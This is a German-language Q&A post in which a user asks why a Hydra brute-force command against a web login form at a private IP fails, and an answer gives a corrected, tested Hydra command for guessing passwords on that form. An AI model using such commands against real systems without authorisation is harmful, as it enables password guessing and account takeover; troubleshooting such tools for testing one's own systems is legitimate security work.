Hydra Brute-Force-Fehler

Hydra Brute-Force-Fehler
hydra http://192.168.0.24:1234/ http-form-post "/password=^PASS^:Invalid password!" -P pass.txt -t 10 -o hydra-http-post-attack.txt
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-01-03 12:12:37
[INFO] Using HTTP Proxy: http://127.0.0.1:8080
[ERROR] the variables argument needs at least the strings ^USER^ or ^PASS^: Invalid password!

Ich bin nicht sicher, warum ich den Fehler erhalte, da die ^PASS^Zeichenfolge vorhanden ist. In der Anwendung ist kein Benutzername vorhanden.

Die vollständige URL des Anmeldeformulars lautet:http://192.168.0.24:1234/

Kann jemand helfen?

Antwort1

Zu Ihrer Frage:

  1. Bei der Verwendung einer Hydra ist es nicht erforderlich, sie http://vor den Wirt zu stellen, den Sie angreifen möchten.
  2. Um den Port anzugeben, verwenden Sie bitte die -sFlagge.
  3. Sie müssen das -lFlag angeben, andernfalls wird ein Fehler angezeigt.
  4. In der POST-Anfrage müssen Sie die Datei angeben, die die POST-Anfrage empfangen soll (z. B. index.php, password.php, validate.php usw.).
  5. Und zu guter Letzt müssen Sie den Erfolgsfall oder den Fehlerfall angeben.

Versuchen Sie den folgenden Befehl. Das ist das Beste, was ich mit den bereitgestellten Informationen erreichen kann:

hydra -l '' -P pass.txt 192.168.0.24 -s 1234 http-post-form "/index.php:pass=^PASS^:F=Invalid Password!" -t 10 -o hydra-http-post-attack.txt

Ich habe es selbst ausprobiert und es tritt keinerlei Fehler auf.

Viel Glück!

verwandte Informationen